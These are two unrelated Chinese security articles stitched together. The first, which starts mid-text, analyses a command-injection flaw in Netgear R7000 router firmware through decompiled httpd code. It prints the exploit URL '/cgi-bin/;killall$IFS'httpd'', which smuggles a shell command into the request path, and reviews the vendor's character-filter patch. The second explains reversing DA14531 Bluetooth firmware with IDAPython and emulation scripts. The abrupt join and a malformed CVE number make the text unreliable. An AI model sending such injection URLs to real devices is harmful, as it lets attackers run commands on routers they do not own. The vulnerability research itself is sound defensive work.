刚开始我脑洞有点开大了，想到的是类似于php的变量覆盖，会不会是URL传入的值，由于某些原因会覆盖到这个常量，后来还是否决了这个过程，一筹莫展的时候我想到了对比一下没有漏洞的版本（后来事实证明，我分析所谓没有漏洞的版本，也是有这个漏洞的），对比的时候发现R7000以后的路由版本采取https，在看配置文件的时候无意中发现了R7000中的/usr/sbin/httpd。
按照同样的思路，我找到了httpd中有两处函数调用可能调用到了系统函数，一处是popen，另一处是system。
.plt:0000E6BC ; FILE *popen(const char *command, const char *modes)
.plt:0000E6BC popen ; CODE XREF: sub_73F40+3D4_x0019_p
.plt:0000E6BC ; sub_95B44+1BC_x0019_p
.plt:0000E6BC ADRL R12, 0x1086C4
.plt:0000E6C4 LDR PC, [R12,#(popen_ptr - 0x1086C4)]! ; __imp_popen
.plt:0000D69C ; int system(const char *command)
.plt:0000D69C system ; CODE XREF: sub_147A0+D2C_x0019_p
.plt:0000D69C ; sub_147A0+D94_x0019_p ...
.plt:0000D69C ADRL R12, 0x1076A4
.plt:0000D6A4 LDR PC, [R12,#(system_ptr - 0x1076A4)]! ; __imp_system
为了分析执行路径，我用了xrefs的功能，先来看看popen的。
执行路径比较简单，再来看看system的。
我整个人都崩溃了……后来我想到用cgi-bin搜索一下关键字，结果真的还有收获。
.text:000110E8 off_110E8 DCD aCgiBin ; DATA XREF: sub_100A0+1808_x0019_r
.text:000110E8 ; "cgi-bin/"
通过这种方法，我找到了比较外层的函数调用sub_100A0，随后终于抓出了一条线。
这次对我这样对路由比较感兴趣的人来说也是一次学习的过程，下面进入对这个漏洞的详细分析。
**0x04 命令注入漏洞分析**
首先我们下载R系列路由器的固件。
下载地址：[http://support.netgear.cn/doucument/detail.asp?id=2251](http://support.netgear.cn/doucument/detail.asp?id=2251)
然后用binwalk -eM来迭代解压这个固件，获得这个固件的squashfs文件系统，这里生成的.squashfs文件需要用7zip来解压。
生成之后用IDA打开/usr/sbin/httpd，跟入sub_100A0函数，在这个函数中有一处调用。
return sub_19600((const char *)v9, v246, v4);
这里会调用到sub_19600，其中涉及到三个参数，这里v9是我比较关心的，v9是什么呢，在sub_100A0函数中其实比较容易猜测。
if ( !strstr((const char *)v9, "unauth.cgi")
&& !strstr((const char *)v9, "securityquestions.cgi")
&& !strstr((const char *)v9, "passwordrecovered.cgi")
&& !strstr((const char *)v9, "userlogin.cgi")
&& !strstr((const char *)v9, "multi_login.cgi")
&& (strncmp((const char *)v9, "cgi-bin/", 8u) || strstr((const char *)v9, "RMT_invite_")) )
在这个函数中涉及到大量的strstr子字符串比较，其中比较的内容就是某个常量和v9变量，猜测v9变量就是url的值，这里我们就假设v9的值就是exp的定义
/IP-Addr/cgi-bin/;killall$IFS’httpd’
这里$IFS是Linux的内部域分隔符，这里可以看做是一个空格。
那么接下来跟入sub_19600。
char *__fastcall sub_19600(const char *a1, const char *a2, int a3)
{
const char *v3; // r6@1
const char *v4; // r4@1
int v5; // r5@1
char *result; // r0@1
v3 = a2;
v4 = a1;
v5 = a3;
result = strstr(a1, "cgi-bin");
if ( result )
{
if ( acosNvramConfig_match((int)"cgi_debug_msg", (int)"1") )
printf("rn##########%s(%d)url=%srn", "handle_options", 1293, v4);
result = (char *)sub_36C34(v3, v5, v4, 2);
}
return result;
}
比较简短，这里会打印一个url字符串，而url后面跟的%s就是v4，v4由a1而来，a1就是此函数第一个参数，所以第一个参数的确是url的值，接下来v4会作为第三个参数传入sub_36C34函数，漏洞就是在此函数中发生。
这里我先分段讲解这个函数中产生漏洞的整个过程，最后，我再贴上这个函数的完整伪代码。我们重点关注第三个参数v4。
进入后，首先第三个参数，也就是url会交给v6。
v6 = a3;
然后会判断v6中是否包含cgi-bin，如果包含，则进入内部处理，这里根据exp，是存在cgi-bin的，接下来进入处理，在处理的过程中，会判断是否包含?，如果包含?，则会给v47赋值，v47这个值我们要记住，在后面设置QUERY_STRING，我们会用到，但是实际上跟此漏洞没有关系。
这里为什么要用到?，就是QUERY_STRING是CGI接收GET参数的，这里默认GET参数是在?后面，就是由此而来。
v12 = strstr(v6, "cgi-bin");
if ( v12 )
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn##########%s(%d)rn", "netgear_commonCgi", 76);
if ( strchr(v12, 63) )
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn##########%s(%d)rn", "netgear_commonCgi", 80);
v13 = strchr(v12, 63);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn#############%s(%d)tmp1=%s,tmp2=%srn", "netgear_commonCgi", 83, v12, v13 + 1);
strcpy((char *)&v47, v13 + 1);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn###############%s(%d)query_string=%srn", "netgear_commonCgi", 86, &v47);
v14 = strchr(v6, 47);
当然，在exp中是不包含?的，因此这个if ( strchr(v12, 63) )
语句不成立，则不进入这个处理，看一下下面的else语句。
在else语句中会进行字符串切割，切割的就是v12，也就是cgi-bin/;killall，这里注释里我写出了切割后地址指针指向的字符串内容。
比较关心的就是v20，v21和v22，其中由于切割后，后面不再包含47，也就是/的ascii码，因此v22为0，之后会对v50进行初始化。
else
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn##########%s(%d)rn", "netgear_commonCgi", 99);
v19 = strchr(v12, 47);
v20 = v19 + 1; // ;kill
v21 = v19; // /;kill
v22 = strchr(v19 + 1, 47); // v22=NULL
memset(&v50, 0, 0x40u); // v50init
v23 = (char)v21;
然后就进入一系列的判断，判断的内容就是切割之后;kill后面还包含不包含/。
if ( v21 )
v23 = 1;
v24 = v22 == 0;
if ( v22 )
v24 = v21 == 0;
if ( v24 )
这里显然是不包含的，因此v22的值为0，那么v24的值为1，进入在if语句处理中，会将v50赋值，也就是赋值成;killall，可以看到这个过程没有任何过滤
。
if ( v24 )
{
if ( v22 )
v25 = 0;
else
v25 = v23 & 1;
if ( v25 )
strcpy((char *)&v50, v20);
}
随后会进入连续的goto跳转，跳转过程中主要还是打印一些信息，随后会进入到v7处理，v7处理代码挺长的，其中涉及到了QUERY_STRING环境变量的赋值，赋值内容就是v47。当然，我们漏洞的流程，由于没有?，所以不会进入这个流程。
if ( (_BYTE)v47 )
setenv("QUERY_STRING", (const char *)&v47, 1);
接下来就是漏洞触发的关键位置，由于我们不满足条件，就会执行下面的语句。
v26 = "OPTIONS";
v27 = (char *)&v53;
之后出来后会跳转，这里会拷贝v26，也就是OPTIONS到v27中，v27的值就是v53的地址值，之后跳转。
strcpy(v27, v26);
goto LABEL_47;
跳转之后，会进入一系列判断，判断v53的值
if ( !strcmp((const char *)&v53, "POST") )
{
v33 = (const char *)&unk_F062B;
v34 = (char *)&v45;
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
}
else
{
……
}
这里省略了一部分过程，由于v53的值是OPTIONS，最后会有一处赋值，v34会赋值为v45的地址值，之后就进入漏洞触发的关键位置，这里会调用sprintf将v50，也就是我们命令的值交给v34。而v34的值就是v45地址的值，这样调用system(&45)的时候，就执行了系统命令。
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);
memset(&v48, 0, 0x40u);
memset(&v51, 0, 0x20u);
memset(&v52, 0, 0x10u);
而在我们分析的过程中，没有一处对这个命令值进行限制，最后导致了命令注入漏洞的发生。下面贴上整个源码。
int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)
{
v4 = a1;
v5 = a2;
v6 = a3;
v7 = a4;
v8 = fork();
v9 = v8;
if ( !v8 )
{
if ( fork() )
{
v10 = v9;
goto LABEL_101;
}
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn###############%s(%d)url=%s,method=%drn", "netgear_commonCgi", 59, v6, v7);
v11 = fopen("/tmp/var/readydropd.conf", "r");
if ( v11 )
{
fclose(v11);
}
else
{
system("cp -f /www/cgi-bin/readydropd.conf /tmp/var/");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
puts("rn###################copy readydropd.confr");
}
v12 = strstr(v6, "cgi-bin");
if ( v12 )
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn##########%s(%d)rn", "netgear_commonCgi", 76);
if ( strchr(v12, 63) )
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn##########%s(%d)rn", "netgear_commonCgi", 80);
v13 = strchr(v12, 63);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn#############%s(%d)tmp1=%s,tmp2=%srn", "netgear_commonCgi", 83, v12, v13 + 1);
strcpy((char *)&v47, v13 + 1);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn###############%s(%d)query_string=%srn", "netgear_commonCgi", 86, &v47);
v14 = strchr(v6, 47);
if ( v14 )
{
v15 = &v50;
memset(&v50, 0, 0x40u);
strncpy((char *)&v50, v14 + 1, v13 - 1 - v14);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
{
v16 = "rn###############%s(%d)cgi_name=%srn";
v17 = 93;
v18 = "netgear_commonCgi";
LABEL_34:
printf(v16, v18, v17, v15);
goto LABEL_40;
}
}
}
else
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn##########%s(%d)rn", "netgear_commonCgi", 99);
v19 = strchr(v12, 47);
v20 = v19 + 1; // ;kill
v21 = v19; // /;kill
v22 = strchr(v19 + 1, 47); // v22=0
memset(&v50, 0, 0x40u); // v50init
v23 = (char)v21;
if ( v21 )
v23 = 1;
v24 = v22 == 0;
if ( v22 )
v24 = v21 == 0;
if ( v24 )
{
if ( v22 )
v25 = 0;
else
v25 = v23 & 1;
if ( v25 )
strcpy((char *)&v50, v20);
}
else
{
strncpy((char *)&v50, v20, v22 - 1 - v21);// v50=;kill
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn#############tmp1=%s,tmp2=%s,tmp3=%s,cgi=%srn", v12, v21, v22, &v50);
v15 = &v46;
strcpy((char *)&v46, v22);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
{
v16 = "rn###############%s(%d)path_info=%srn";
v17 = 110;
v18 = "netgear_commonCgi";
goto LABEL_34;
}
}
}
}
LABEL_40:
if ( v7 )
{
if ( v7 == 1 )
{
v26 = "POST";
v27 = (char *)&v53;
}
else
{
if ( v7 != 2 )
{
LABEL_47:
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn###############%s(%d)request_method=%srn", "netgear_commonCgi", 130, &v53);
if ( (_BYTE)v46 )
setenv("PATH_INFO", (const char *)&v46, 1);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
{
v28 = getenv("PATH_INFO");
printf("rn###############%s(%d)PATH_INFO=%srn", "netgear_commonCgi", 136, v28);
}
setenv("LD_LIBRARY_PATH", "/usr/lib", 1);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
{
v29 = getenv("LD_LIBRARY_PATH");
printf("rn###############%s(%d)LD_LIBRARY_PATH=%srn", "netgear_commonCgi", 140, v29);
}
setenv("REQUEST_METHOD", (const char *)&v53, 1);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
{
v30 = getenv("REQUEST_METHOD");
printf("rn###############%s(%d)REQUEST_METHOD=%srn", "netgear_commonCgi", 144, v30);
}
if ( (_BYTE)v47 )
setenv("QUERY_STRING", (const char *)&v47, 1);
if ( !strcmp((const char *)&v53, "POST") )
{
v31 = fopen("/tmp/post_result", "r");
if ( v31 )
{
fclose(v31);
system((const char *)&unk_F05D8);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("rn##########del post ############r");
}
system("rm -f /tmp/post_data.txt");
sleep(1u);
v32 = fopen("/tmp/post_data.txt", "w");
if ( v32 )
{
fputs(v4, v32);
fclose(v32);
}
v33 = (const char *)&unk_F062B;
v34 = (char *)&v45;
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
v35 = fopen("/tmp/options_result", "r");
if ( v35 )
{
fclose(v35);
system("rm -f /tmp/options_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("rn##########del option ############r");
}
v33 = (const char *)&unk_F06A2;
v34 = (char *)&v45;
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("rn##########delete /tmp/cgi_result ############r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);//key！！！
memset(&v49, 0, 0x40u);
memset(&v48, 0, 0x40u);
memset(&v51, 0, 0x20u);
memset(&v52, 0, 0x10u);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn###############%s(%d)rn", "netgear_commonCgi", 200);
if ( !strcmp((const char *)&v53, "POST") )
{
v37 = "/tmp/post_result";
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
v37 = "/tmp/options_result";
}
else
{
v37 = "/tmp/cgi_result";
}
v38 = fopen(v37, "r");
if ( v38 )
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn###############%s(%d)rn", "netgear_commonCgi", 211);
while ( fgets((char *)&v44, 0xFFFF, v38) )
{
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn###############%s(%d)rn", "netgear_commonCgi", 215);
v39 = strstr((const char *)&v44, "Status:");
if ( v39 )
{
strcpy((char *)&v49, v39 + 7);
v40 = strchr((const char *)&v49, 10);
if ( v40 )
*v40 = 0;
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn###############%s(%d)status=%srn", "netgear_commonCgi", 223, &v49);
sprintf((char *)&v43, "HTTP/1.1%srn", &v49);
}
else
{
strcat((char *)&v43, (const char *)&v44);
}
}
fclose(v38);
}
strcat((char *)&v43, "rn");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"1") )
printf("rn###############%s(%d)http_hdr=%srn", "netgear_commonCgi", 276, &v43);
v41 = strlen((const char *)&v43);
sub_F9E0(v5, &v43, v41, 0);
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
printf("rn######======######%s(%d)rn", "netgear_commonCgi", 280);
v10 = 0;
LABEL_101:
exit(v10);
}
v26 = "OPTIONS";
v27 = (char *)&v53;
}
}
else
{
v26 = "GET";
v27 = (char *)&v53;
}
strcpy(v27, v26);//key！
goto LABEL_47;
}
if ( v8 > 0 )
waitpid(v8, &v54, 0);
return 0;
}
**
**
**0x05 补丁对比**
NetGear官方在12月14日更新了部分设备的Beta版固件，用来修补这个漏洞，对应设备如下：
链接：<http://kb.netgear.com/000036386/CVE-2016-582384>
我对这次更新补丁进行了对比分析，发现此次更新主要是针对httpd进行了修补。通过Bindiff进行对比分析。
右侧是补丁前，在之前的分析中，补丁前的函数是sub_36C34，补丁后变成了sub_35EB4，可以看到右侧标红部分修补的位置还是挺多的，接下来查看一下修补的结构，发现在函数入口处有较大不同。
通过Zoom to block查看详细的汇编代码，发现补丁后的httpd，在函数入口处会多出几个strchr判断语句，之后才是fork。
我们通过IDA pro直接跟踪到伪代码部分，结合我之前的分析，可以看到，在v6赋值为a3，也就是exp的url之后，会进行 一些strchr比较。
int __fastcall sub_36EB4(const char *a1, int a2, const char *a3, int a4)
v4 = a1;
v5 = a2;
v6 = a3;
v7 = a4;
if ( !strchr(a3, 59) && !strchr(v6, 96) && !strchr(v6, 36) && !strstr(v6, "..") )
{
v8 = fork();
v9 = v8;
if ( !v8 )
{
if ( fork() )
{
v10 = v9;
goto LABEL_114;
}
memset(&v47, 0, 0xFFFFu);
比较的内容就是59、96、36的asii码以及..，59对应的字符是“;”，96对应的字符是“`”，36对应的字符是“$”，如果url里包含这些字符之一的话，则不会进入下面的处理，以此来修补之前exp中;killall$IFS`httpd`带来的命令注入攻击。我个人感觉官网的修复不走心，经过我刚才的分析，发现Beta版固件过滤只针对了;,$,'以及..这四个字符，只过滤了[command];[command]这种情况，并对之后的$IFS等内容进行了过滤，但命令执行拼接也可以通过[command]&&[command]，和[command]||[command]方法完成，只是后面拼接的命令进行了一定限制，因此我感觉还有可能存在命令注入漏洞。
**0x06 解决方案(针对漏洞版本)**
**临时方案 :**
1.在路由器中禁用远程管理功能
2.指定特定内网IP可以通过WEB方式访问并管理路由器
3.利用这个漏洞，执行关闭WEB服务的命令，不会影响正常上网，但无法使用管理界面，重启路由器后WEB服务可重新启用。命令如下：
http://[router-address]/cgi-bin/;killall$IFS'httpd'
4.如果必要，也可以参照CERT官方建议停止使用该路由器，直到官方发布补丁修复。 | 社区文章 |
## 前言
本文介绍逆向`DA14531`芯片的固件，并介绍一些辅助自动化分析的脚本的实现。`DA14531`是Dialog公司研制的蓝牙芯片，用户可以在官网下载SDK来开发蓝牙的上层业务。
相关代码
https://github.com/hac425xxx/BLE-DA145XX/
ps: 文件全部发出后公开github项目
## SDK环境搭建和IDA加载固件
下载SDK后，进入其中一个示例项目
DA145xx_SDK\6.0.14.1114\projects\target_apps\ble_examples\ble_app_profile\Keil_5
使用Keil打开，然后选择 `Project->Manage->Component`，设置目标为`DA14531`.
然后编译之后就会下面的目录生成编译好的固件
DA145xx_SDK\6.0.14.1114\projects\target_apps\ble_examples\ble_app_profile\Keil_5\out_DA14531\Objects
其中比较关键的几个文件有
ble_app_profile_531.axf: 工程文件编译为ELF文件
ble_app_profile_531.bin: 可以直接刷入系统RAM的二进制
ble_app_profile_531.hex: hex文件格式，相比.bin文件该文件中带有刷入的地址
其中 `.axf` 其实就是ELF文件，里面有符号信息和加载基地址等，`.bin`文件可以直接写入到芯片的固定地址，查看芯片手册中的`Memory
Map`部分
可以猜测`.bin`文件的基地址为`0x7fc0000`，这点也可以通过用IDA分析`.axf`
文件得到证明，下面为了简化分析流程，直接用IDA分析`ble_app_profile_531.axf`.
随便打开一些函数分析，发现有的函数会直接将某些没有加载到内存的地址作为函数进行调用，比如
int __fastcall gattc_write_req_ind_handler()
{
v6 = MEMORY[0x7F22448](param->handle, att_idx); // 将 0x7F22448 作为函数进行调用
查看芯片手册可以知道这块地址的描述为
Boot/BLE ROM
Contains Boot ROM code and BLE protocol related code.
可以知道这块内存里面应该有一些协议栈底层的代码，而且翻看SDK的代码发现很多系统的函数都没有源码，在编译出来后的二进制里面也没有对应函数的实现，猜测这部分函数的实现也在这个区域中。
最后让群友帮忙在开发板里面用`jtag`把这块内存`dump`了下来，然后咱们加载到`IDA`中
File -> Load file -> Additional binary file
选择`dump`出来的二进制文件，然后设置加载地址为 `0x7fc0000` 。
加载完后，这些函数调用就可以正常识别了。
## 加载函数符号
对部分函数分析一段时间后，在搜索SDK的时候，忽然发现了一个比较神奇的文件
da14531_symbols.txt
文件的部分内容如下
0x07f2270b T custs1_set_ccc_value
0x07f22823 T gattc_cmp_evt_handler
0x07f22837 T custs1_val_set_req_handler
0x07f22857 T custs1_val_ntf_req_handler
0x07f228b3 T custs1_val_ind_req_handler
0x07f2290f T custs1_att_info_rsp_handler
0x07f2294b T gattc_read_req_ind_handler
0x07f22b57 T gattc_att_info_req_ind_handler
0x07f22b99 T custs1_value_req_rsp_handler
看起来好像是一个列是符号内存地址，第三列是符号名，后面去网上搜索这个文件的作用，发现是keil支持的一种输入文件，用于在链接的时候把符号引用替换为对应的内存地址地址，这样在固件运行时就可以正常调用函数，这样也可以让一部分代码不开源。
最后写了个`idapython`脚本加载这个符号文件
import idaapi
import idc
fpath = "da14531_symbols.txt"
def define_func(addr, name):
if addr & 1:
addr -= 1
idaapi.split_sreg_range(addr, idaapi.str2reg("T"), 1, idaapi.SR_user)
else:
idaapi.split_sreg_range(addr, idaapi.str2reg("T"), 0, idaapi.SR_user)
if idaapi.create_insn(addr):
idc.add_func(addr)
idaapi.set_name(addr, name,idaapi.SN_FORCE)
def define_data(addr, name):
idaapi.set_name(addr, name,idaapi.SN_FORCE)
with open(fpath, "r") as fp:
for l in fp:
try:
addr, type, name = l.strip().split(" ")
if addr.startswith(";"):
continue
addr = int(addr, 16)
if type == "T":
define_func(addr, name)
else:
define_data(addr, name)
except:
pass
1. 主要逻辑就是一行一行的处理文件，丢弃 `;` 开头的行
2. 然后根据第二列的值来进行对应的处理
3. 如果是`T`表示这个符号是一个函数地址调用`define_func`处理，否则就当做变量符号调用`define_data`处理
主要提一下的就是在处理函数的时候的代码
def define_func(addr, name):
if addr & 1:
addr -= 1
idaapi.split_sreg_range(addr, idaapi.str2reg("T"), 1, idaapi.SR_user)
else:
idaapi.split_sreg_range(addr, idaapi.str2reg("T"), 0, idaapi.SR_user)
if idaapi.create_insn(addr):
idc.add_func(addr)
idaapi.set_name(addr, name,idaapi.SN_FORCE)
1. 首先需要根据地址的最低位是否为1来判断是否为thumb指令，然后根据情况设置`idaapi.str2reg("T")` 寄存器的值，IDA会根据这个寄存器的值来判断后面反汇编指令时采用的是`thumb`指令还是`arm`指令
2. 然后调用`idaapi.create_insn`让`ida`从函数地址处开始进行反汇编并创建指令
3. 指令创建成功之后就调用`idc.add_func`创建一个函数并使用`idaapi.set_name`设置函数的名称
执行脚本后很多的系统函数都识别出来了。
## 操作系统任务识别
### 创建任务API分析
分析嵌入式系统，首先需要将系统中存在的 **task/进程**
识别出来，经过一番的资料查找和SDK学习，可以知道`DA145x`芯片中的操作系统为Riviera
Waves实时系统，该系统使用用`ke_task_create`来创建一个任务，从SDK中可以获取函数的定义如下
/**
****************************************************************************************
* @brief Create a task.
*
* @param[in] task_type Task type.
* @param[in] p_task_desc Pointer to task descriptor.
*
* @return Status
****************************************************************************************
*/
uint8_t ke_task_create(uint8_t task_type, struct ke_task_desc const * p_task_desc);
可以看到函数两个参数，第一个表示任务的类型，第二个参数为`ke_task_desc`结构体指针，表示任务的描述信息。
如果需要识别所有的任务，就可以通过查找 `ke_task_create`
的交叉引用，然后获取函数调用的两个参数即可拿到任务的类型和对应的任务描述符地址，然后再解析`ke_task_desc`就可以获取到每个任务的具体信息。
为了自动化的实现该目标，需要一个能在IDA中获取函数调用参数值的脚本，下面首先分析此脚本的实现
### 函数调用参数识别脚本
脚本地址
https://github.com/hac425xxx/BLE-DA145XX/blob/main/argument_tracker.py
参数追踪主要在`ArgumentTracker`类中实现，脚本实现了两种参数识别的方式分别为 **基于汇编指令和模拟执行的函数调用参数识别** ，
**基于IDA伪代码的函数调用参数识别** 。
下面分别对其实现进行介绍
#### 基于汇编指令和模拟执行的函数调用参数识别
这种方法由 `reobjc` 脚本演变而来
https://github.com/duo-labs/idapython/blob/master/reobjc.py
功能实现于`track_register`函数，主要思路是：
1. 追踪存储函数参数的 **寄存器/内存地址** 的使用，做一个类似污点分析的功能，直到找到最初赋值的位置（比如`ldr`, `mov`)
2. 然后从赋值点开始使用`unicorn`模拟执行，一直执行到函数调用的位置
3. 然后从`unicorn`获取此时的对应寄存器和内存的值就可以得到具体的函数参数值
示例：
rom_ble:07F09CC0 LDR R1, =0x7F1F550
rom_ble:07F09CC2 MOVS R0, #0 ; task_type
rom_ble:07F09CC4 ADDS R1, #0x28 ; '(' ; p_task_desc
rom_ble:07F09CC6 BL ke_task_create
假设现在需要追踪 **参数二** （即`R1`）的值，步骤如下：
1. 首先从`07F09CC6`往前搜索`R1`的赋值点，发现 `07F09CC4` 这里是一条ADD指令不是最初赋值点，继续往上搜索
2. 最后找到`07F09CC0`这里是`LDR`指令
3. 然后使用`unicron`从`07F09CC0`开始执行，一直执行到`07F09CC6`即可获取到在调用`ke_task_create`时 **参数二（即`R1`）的值**
下面看看关键的代码
while curr_ea != idc.BADADDR:
mnem = idc.print_insn_mnem(curr_ea).lower()
dst = idc.print_operand(curr_ea, 0).lower()
src = idc.print_operand(curr_ea, 1).lower()
if dst == target and self.is_set_argument_instr(mnem):
target = src
target_value = src
target_ea = curr_ea
if target.startswith("="):
break
if dst == target == "r0" and self.is_call_instr(mnem):
previous_call = curr_ea
break
curr_ea = idc.prev_head(curr_ea-1, f_start)
主要就是不断调用`idc.prev_head`往前解析指令，然后对每条指令进行分析，实现一个反向的污点跟踪，直到找到目标的赋值点为止，找到赋值点后就使用`Unicorn`去模拟执行
#### 基于IDA伪代码的函数调用参数识别
有的时候基于汇编指令向后做跟踪会丢失部分信息，示例：
if(cond1)
{
v4 = 0x101
}
if(cod2)
{
v4 = 0x303;
}
if(cod4)
{
v4 = 0x202;
}
some_func(v4 - 1, 0)
对于这样的代码如果直接使用第一种方式实际只会得到 `v4 = 0x201`，会漏掉两种可能值。
为了缓解这种情况，实现了一个基于IDA伪代码的参数值识别脚本，功能实现于`decompile_tracer`函数。
其主要思路也是类似，首先定位需要获取的参数，然后提取参数字符串，分别跟踪参数的每个组成部分，找到赋值点，然后求出每个部分的值，从而得到参数的所有取值.
还是以上面的为例，假设需要获取参数1的值，处理流程如下
1. 首先提取得到参数1的组成部分为 `v4` 和 1，1为常量，只需要追踪`v4`
2. 然后往上追踪，找到`v4`的可能值为`0x202`， `0x303`， `0x101`
3. 最后得到`v4 - 1`的所有可能值为`0x201`， `0x302`， `0x100`
### 任务自动化识别
首先找到`ke_task_create`的交叉引用，然后利用`ArgumentTracker`中基于汇编的参数获取模式来提取参数的值
def dump_ke_task_create():
retsult = {}
logger = CustomLogger()
m = CodeEmulator()
at = ArgumentTracker()
ke_task_create_addr = idaapi.get_name_ea(idaapi.BADADDR, "ke_task_create")
for xref in XrefsTo(ke_task_create_addr, 0):
frm_func = idc.get_func_name(xref.frm)
ret = at.track_register(xref.frm, "r1")
if ret.has_key("target_ea"):
if m.emulate(ret['target_ea'], xref.frm):
reg = m.mu.reg_read(UC_ARM_REG_R1)
retsult[xref.frm] = reg
首先获取`ke_task_create`的地址，然后查找其交叉引用
1. 对于每个交叉引用使用`track_register`来追踪`r1`寄存器（即参数二）
2. `ret['target_ea']`表示赋值点，然后使用`CodeEmulator`从赋值点执行到函数调用的位置（`xref.frm`）
3. 执行成功后读取`r1`的值，即可得到任务描述符的地址
拿到任务描述符的地址后下面需要定义描述符的类型，首先看看`ke_task_desc`的定义
/// Task descriptor grouping all information required by the kernel for the scheduling.
struct ke_task_desc
{
/// Pointer to the state handler table (one element for each state).
const struct ke_state_handler* state_handler;
/// Pointer to the default state handler (element parsed after the current state).
const struct ke_state_handler* default_handler;
/// Pointer to the state table (one element for each instance).
ke_state_t* state;
/// Maximum number of states in the task.
uint16_t state_max;
/// Maximum index of supported instances of the task.
uint16_t idx_max;
};
这里主要关注`ke_state_handler`，该结构中有一个`msg_table`，里面是一些函数指针和其对应的消息`id`
/// Element of a message handler table.
struct ke_msg_handler
{
/// Id of the handled message.
ke_msg_id_t id;
/// Pointer to the handler function for the msgid above.
ke_msg_func_t func;
};
/// Element of a state handler table.
struct ke_state_handler
{
/// Pointer to the message handler table of this state.
const struct ke_msg_handler *msg_table;
/// Number of messages handled in this state.
uint16_t msg_cnt;
};
我们也就按照结构体定义使用相应的`IDApython`的接口即可（注意：使用`idapython`设置结构体前要确保对应的结构体已经导入到IDB中）
for k, v in retsult.items():
frm_func = idc.get_func_name(k)
task_desc_ea = v
task_desc_name = "{}_task_desc".format(frm_func.split("_init")[0])
define_ke_task_desc(task_desc_ea, task_desc_name)
handler = idaapi.get_dword(task_desc_ea + 4)
define_ke_state_handler(handler)
## 识别消息和回调函数的交叉引用
Riviera
Waves系统中任务之间使用消息来传递消息，中断处理程序做了简单处理后就会通过发送消息交给对应的消息处理函数进行处理，常用方式是使用`ke_msg_alloc`分配消息，然后使用`ke_msg_send`将消息发送出去。
ke_msg_alloc的定义如下
/**
****************************************************************************************
* @brief Allocate memory for a message
*
* @param[in] id Message identifier
* @param[in] dest_id Destination Task Identifier
* @param[in] src_id Source Task Identifier
* @param[in] param_len Size of the message parameters to be allocated
*
*/
void *ke_msg_alloc(ke_msg_id_t const id, ke_task_id_t const dest_id,
ke_task_id_t const src_id, uint16_t const param_len);
其中第一个参数为消息ID，在系统中有很多消息处理回调函数表，回调函数表大体结构都是由消息ID和函数指针组成，在处理消息发送出去后，系统会根据消息中的其他参数（比如dest_id）找到相应的回调函数表，然后根据消息ID去表中找到对应的回调函数，最后调用回调函数处理消息数据。
那我们就可以找到所有`ke_msg_alloc`的调用点，然后提取出id，就可以知道每个函数使用了哪些消息id，然后根据消息id去二进制里面搜索，找到消息处理函数，最后将两者建立交叉引用，这样在逆向分析的时候就很舒服了。
示例
rom_ble:07F17C4E LDR R0, =0x805 ; id
rom_ble:07F17C50
rom_ble:07F17C50 loc_7F17C50 ; DATA XREF: sub_7F06B94↑r
rom_ble:07F17C50 ; sub_7F0CE30↑r ...
rom_ble:07F17C50 BL ke_msg_alloc
建立完交叉引用后在调用`ke_msg_alloc`的位置，可以看的其事件消息的处理函数可能为`sub_7F06B94`和`sub_7F0CE30`。
下面介绍根据消息ID搜索消息处理函数的实现
def search_msg_handler(msg_id):
ret = []
data = " ".join(re.findall(".{2}", struct.pack("H", msg_id).encode("hex")))
addr = 0x07F00000
find_addr = idc.find_binary(addr, SEARCH_DOWN, data)
while find_addr != idaapi.BADADDR:
func_addr = idaapi.get_dword(find_addr + 4)
if is_func_ea(func_addr):
print " msg_id 0x{:X} @ 0x{:X}, handler: 0x{:X}".format(msg_id, find_addr, func_addr)
ret.append(func_addr)
# custom_msg_handler
func_addr = idaapi.get_dword(find_addr + 2)
if is_func_ea(func_addr):
print " [custom_msg_handler] msg_id 0x{:X} @ 0x{:X}, handler: 0x{:X}".format(msg_id, find_addr, func_addr)
ret.append(func_addr)
find_addr = idc.find_binary(find_addr + 1, SEARCH_DOWN, data)
return ret
经过逆向分析，发现消息处理函数和消息id的关系主要有两种情况
1. `消息id起始地址 + 2`的位置是函数地址
2. `消息id起始地址 + 4`的位置是函数地址
